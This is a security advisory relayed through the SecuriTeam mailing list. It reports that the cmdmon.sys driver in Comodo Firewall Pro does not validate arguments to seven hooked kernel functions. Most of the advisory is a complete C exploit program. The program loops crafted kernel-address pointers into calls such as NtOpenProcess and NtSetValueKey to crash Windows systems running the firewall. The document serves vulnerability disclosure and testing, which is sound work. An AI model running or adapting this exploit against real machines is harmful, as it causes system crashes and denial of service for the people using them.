[NT] Comodo Multiple Insufficient Argument Validation of Hooked SSDT Function Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Comodo Multiple Insufficient Argument Validation of Hooked SSDT Function
Vulnerability
------------------------------------------------------------------------


SUMMARY

Comodo Firewall Pro (former Comodo Personal Firewall) hooks many functions
in SSDT and in at least seven cases it fails to validate arguments that
come from the user mode. User calls to NtConnectPort (CFP 2.4.16.174 is
not affected), NtCreatePort (CFP 2.4.16.174 is not affected),
NtCreateSection, NtOpenProcess, NtOpenSection, NtOpenThread and
NtSetValueKey with invalid argument values can cause system crashes
because of errors in CFP driver cmdmon.sys. Further impacts of this bug
(like arbitrary code execution in the kernel mode) were not examined.

DETAILS

Vulnerable software:
* Comodo Firewall Pro 2.4.16.174
* Comodo Personal Firewall 2.3.6.81
* probably all older versions of Comodo Personal Firewall 2
* possibly older versions of Comodo Personal Firewall

Exploit:
/*

Testing program for Multiple insufficient argument validation of hooked
SSDT function (BTP00000P005CF)


Usage:
prog FUNCNAME
FUNCNAME - name of function to be checked

Description:
This program calls given function with parameters that crash the system.
This happens because of
insufficient validation of function arguments in the driver of the
firewall.

Test:
Running the testing program with the name of a function from the list of
affected functions.

*/

#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>

void about(void)
{
printf("Testing program for Multiple insufficient argument validation of
hooked SSDT function (BTP00000P005CF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2007 by Matousec - Transparent security\n");
printf("http://www.matousec.com/""\n\n";);
return;
}

void usage(void)
{
printf("Usage: test FUNCNAME\n"
" FUNCNAME - name of function to be checked\n");
return;
}

void print_last_error(void)
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %ld\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code
%ld.\n",code);
return;
}


int main(int argc,char **argv)
{
about();

if (argc!=2)
{
usage();
return 1;
}

if (!stricmp(argv[1],"NtConnectPort") ||
!stricmp(argv[1],"ZwConnectPort"))
{
HANDLE handle;
UNICODE_STRING us={0x1000,0x1000,NULL};
SECURITY_QUALITY_OF_SERVICE sqos;
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwConnectPort(&handle,&us,&sqos,NULL,NULL,NULL,NULL,NULL);
}
} else if (!stricmp(argv[1],"NtCreatePort") ||
!stricmp(argv[1],"ZwCreatePort"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwCreatePort(&handle,&oa,0,0,0);
}
} else if (!stricmp(argv[1],"NtCreateSection") ||
!stricmp(argv[1],"ZwCreateSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwCreateSection(&handle,0,oa,NULL,0,0,NULL);
}
} else if (!stricmp(argv[1],"NtOpenProcess") ||
!stricmp(argv[1],"ZwOpenProcess"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenProcess(&handle,PROCESS_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtOpenSection") ||
!stricmp(argv[1],"ZwOpenSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwOpenSection(&handle,SECTION_ALL_ACCESS,oa);
}
} else if (!stricmp(argv[1],"NtOpenThread") ||
!stricmp(argv[1],"ZwOpenThread"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenThread(&handle,THREAD_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtSetValueKey") ||
!stricmp(argv[1],"ZwSetValueKey"))
{
for (int i=0;i>=0;i++)
{
PUNICODE_STRING us=(PVOID)(i+0x80000000);
ZwSetValueKey(NULL,us,0,REG_NONE,NULL,0);
}
} else printf("\nI do not know how to exploit the vulnerability using
this function.\n");

printf("\nTEST FAILED!\n");
return 1;
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:research@xxxxxxxxxxxx>
Matousec - Transparent security Research.
The original article can be found at:
<http://www.matousec.com/info/advisories/Comodo-Multiple-insufficient-argument-validation-of-hooked-SSDT-functions.php> http://www.matousec.com/info/advisories/Comodo-Multiple-insufficient-argument-validation-of-hooked-SSDT-functions.php



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages